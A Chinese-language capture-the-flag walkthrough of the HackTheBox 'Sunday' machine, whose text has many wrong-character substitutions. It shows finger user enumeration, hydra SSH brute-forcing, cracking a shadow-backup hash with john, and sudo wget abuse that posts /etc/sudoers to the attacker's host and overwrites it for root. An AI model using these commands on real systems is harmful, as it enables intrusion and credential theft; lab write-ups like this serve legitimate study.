关于渗透测试:HTBSundayfinger信息泄露sudo滥用wget

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本文浸透的主机通过非法受权。本文应用的工具和办法仅限学习交换应用，请不要将文中应用的工具和浸透思路用于任何非法用处，对此产生的所有结果，自己不承当任何责任，也不对造成的任何误用或侵害负责。

这个靶机十分的不稳固，先用 --open 参数看看有哪些端口关上

┌──(root💀kali)-[~/htb/Sunday]
└─# nmap -p- 10.10.10.76 --open
Starting Nmap 7.91 (https://nmap.org) at 2021-12-16 09:22 EST
Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 1.35% done; ETC: 09:32 (0:09:46 remaining)
Nmap scan report for 10.10.10.76
Host is up (0.30s latency).
Not shown: 44865 filtered ports, 20665 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
79/tcp    open  finger
111/tcp   open  rpcbind
22022/tcp open  unknown
47097/tcp open  unknown
58984/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 653.01 seconds

指定端口，获取服务详细信息看看

┌──(root💀kali)-[~/htb/Sunday]
└─# nmap -sV -sC 10.10.10.76 -A -O -p 79,111,22022,47097,58984
Starting Nmap 7.91 (https://nmap.org) at 2021-12-16 09:36 EST
Nmap scan report for 10.10.10.76
Host is up (0.30s latency).

PORT      STATE SERVICE VERSION
79/tcp    open  finger  Sun Solaris fingerd
|_finger: No one logged on\x0D
111/tcp   open  rpcbind
22022/tcp open  ssh     SunSSH 1.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_  1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
47097/tcp open  unknown
58984/tcp open  unknown
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|phone
Running: Linux 2.4.X|2.6.X, Sony Ericsson embedded
OS CPE: cpe:/o:linux:linux_kernel:2.4.20 cpe:/o:linux:linux_kernel:2.6.22 cpe:/h:sonyericsson:u8i_vivaz
OS details: Tomato 1.28 (Linux 2.4.20), Tomato firmware (Linux 2.6.22), Sony Ericsson U8i Vivaz mobile phone
Network Distance: 21 hops
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos

TRACEROUTE (using port 79/tcp)
HOP RTT        ADDRESS
1   306.96 ms  10.10.14.1
2   2362.53 ms 10.10.14.1
3   2362.68 ms 10.10.14.1
4   ... 10
11  3138.72 ms 10.10.14.1
12  2460.64 ms 10.10.14.1
13  ... 20
21  297.28 ms  10.10.10.76

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 93.18 seconds

79 端口在 hacktricks 是这样介绍的

Finger is a program you can use to find information about computer users. It usually lists the login name, the full name, and possibly other details about the user you are fingering. These details may include the office location and phone number (if known), login time, idle time, time mail was last read, and the user’s plan and project files.

也就说这个服务能够回显一些靶机的用户信息，比方

┌──(root💀kali)-[~/htb/sunday]
└─# finger root@10.10.10.76                                                                                                                                                                                    1 ⨯
Login       Name               TTY         Idle    When    Where
root     Super-User            pts/3        <Apr 24, 2018> sunday

然而如果探测一个不存在的用户，则啥都没有

┌──(root💀kali)-[~/htb/sunday]
└─# finger asdjkasjd@10.10.10.76
Login       Name               TTY         Idle    When    Where
asdjkasjd             ???

因而，利用这个性能，咱们能够晓得靶机上有哪些实在存在的用户。

应用这个字典

以及 msf 外面的 scanner/finger/finger_users 模块，探测到以下用户信息

msf6 auxiliary(scanner/finger/finger_users) > run

[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: nobody
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: noaccess
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: nobody4
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: adm
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: lp
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: uucp
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: nuucp
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: dladm
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: listen
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: smmsp
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: sammy
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: sunny
[+] 10.10.10.76:79        - 10.10.10.76:79 Users found: adm, dladm, listen, lp, noaccess, nobody, nobody4, nuucp, sammy, smmsp, sunny, uucp
[*] 10.10.10.76:79        - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

sammy和 sunny 看上去比拟像能够用 ssh 登录的用户
测试一下

 finger sammy@10.10.10.76
Login       Name               TTY         Idle    When    Where
sammy    sammy                 console      <Jul 31, 2020>
                                                                                                                                                                                                                   
┌──(root💀kali)-[~/htb/sunday]
└─# finger sunny@10.10.10.76
Login       Name               TTY         Idle    When    Where
sunny    sunny                 pts/3        <Apr 24, 2018> 10.10.14.4

保留到 user.txt, 应用 hydra 爆破 ssh

┌──(root💀kali)-[~/htb/sunday]
└─# hydra -L /root/htb/sunday/user.txt -P  /usr/share/wordlists/rockyou.txt -I -f  -s 22022 10.10.10.76 ssh
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-16 10:59:18
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:2/p:2), ~1 try per task
[DATA] attacking ssh://10.10.10.76:22022/
[22022][ssh] host: 10.10.10.76   login: sunny   password: sunday
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-12-16 10:59:23

失去一个 ssh 用户凭证：sunny : sunday

sunny@sunday:~/Documents$ find / -name user.txt
find: /export/home/sammy/.gnome2: Permission denied
find: /export/home/sammy/.gconf: Permission denied
/export/home/sammy/Desktop/user.txt

在 sammy 目录下，没有 user.txt 的应用权限，看来须要横向提权到 sammy

在 backup 目录下找打 shadow 的备份文件

sunny@sunday:/backup$ ls
agent22.backup  shadow.backup
sunny@sunday:/backup$ cat shadow.backup 
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::

写两个文件，passwd 和 shadow

                                                                                                                                                                                                                                            
┌──(root💀kali)-[~/htb/Sunday]
└─# cat passwd   
sammy:x:101:10:sammy:/export/home/sammy:/bin/bash
                                                                                                                                                                                                                                            
┌──(root💀kali)-[~/htb/Sunday]
└─# cat shadow   
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::

用 unshadow 命令把下面两个文件合并成一个 john 能够辨认的哈希文件

┌──(root💀kali)-[~/htb/Sunday]
└─# unshadow passwd shadow >pass.hash

爆破这个 hash 文件

┌──(root💀kali)-[~/htb/Sunday]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt pass.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (sha256crypt, crypt(3) $5$ [SHA256 128/128 AVX 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cooldude!        (sammy)
1g 0:00:01:11 DONE (2021-12-16 21:35) 0.01393g/s 2839p/s 2839c/s 2839C/s domonique1..chrystelle
Use the "--show" option to display all of the cracked passwords reliably
Session completed

当初咱们失去了 sammy 的 ssh 明码：cooldude!

查看 sammy 的 sudo 特权

sunny@sunday:/home$ sudo -l
User sammy may run the following commands on this host:
    (root) NOPASSWD: /usr/bin/wget

能够 root 身份应用 wget，能够利用这个命令提权到 root，步骤如下：

在 kali 起一个监听，接管文件

nc -lnvp 80
发送文件到 kali

sudo /usr/bin/wget –post-file=/etc/sudoers 10.10.14.6

接管到文件 sudoers

┌──(root💀kali)-[~/htb/Sunday]
└─# nc -lnvp 80                            
listening on [any] 80 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.76] 38814
POST / HTTP/1.0
User-Agent: Wget/1.10.2
Accept: */*
Host: 10.10.14.6
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 795

# sudoers file.
#
# This file MUST be edited with the 'visudo' command as root.
# Failure to use 'visudo' may result in syntax or file permission errors
# that prevent sudo from running.
#
# See the sudoers man page for the details on how to write a sudoers file.
#

# Host alias specification

# User alias specification

# Cmnd alias specification

# Defaults specification

# Runas alias specification

# User privilege specification
root    ALL=(ALL) ALL

# Uncomment to allow people in group wheel to run all commands
# %wheel        ALL=(ALL) ALL

# Same thing without a password
# %wheel        ALL=(ALL) NOPASSWD: ALL

# Samples
# %users  ALL=/sbin/mount /cdrom,/sbin/umount /cdrom
# %users  localhost=/sbin/shutdown -h now
sammy ALL=(root) NOPASSWD: /usr/bin/wget
sunny ALL=(root) NOPASSWD: /root/troll

在本地把下面文件内容保留为 sudoers，并且在最下方增加上面这行

sammy ALL=(root) NOPASSWD: /bin/bash

在 kali 开启一个 http 服务

python3 -m http.server
靶机接管文件，并且笼罩到/etc/sudoers
sudo /usr/bin/wget http://10.10.14.6:8000/sudoers -O /etc/sudoers

sunny@sunday:/home$ sudo /usr/bin/wget http://10.10.14.6:8000/sudoers -O /etc/sudoers
--08:27:33--  http://10.10.14.6:8000/sudoers
           => `/etc/sudoers'
Connecting to 10.10.14.6:8000... 已连贯。已收回 HTTP 申请，正在期待回应... 200 OK
长度：850 [application/octet-stream]

100%[================================================================================================================================================================================================>] 850           --.--K/s             

08:27:34 (1.01 MB/s) - `/etc/sudoers' saved [850/850]

当初查看，咱们有了 bash 特权

sunny@sunday:/home$ sudo -l
User sammy may run the following commands on this host:
    (root) NOPASSWD: /usr/bin/wget
    (root) NOPASSWD: /bin/bash

间接提权到 root

sunny@sunday:/home$ sudo /bin/bash -p
root@sunday:/home# id
uid=0(root) gid=0(root) groups=0(root),1(other),2(bin),3(sys),4(adm),5(uucp),6(mail),7(tty),8(lp),9(nuucp),12(daemon)
root@sunday:/home# whoami
root

切入点就是 finger 泄露的用户信息一步步浸透进零碎，提权也很简略。然而这台靶机真是太不稳固了，体验好差，上论坛发现也是一堆人在吐槽。
枚举 finger 的时候能够不必 msf，github 上很多枚举脚本。

正文完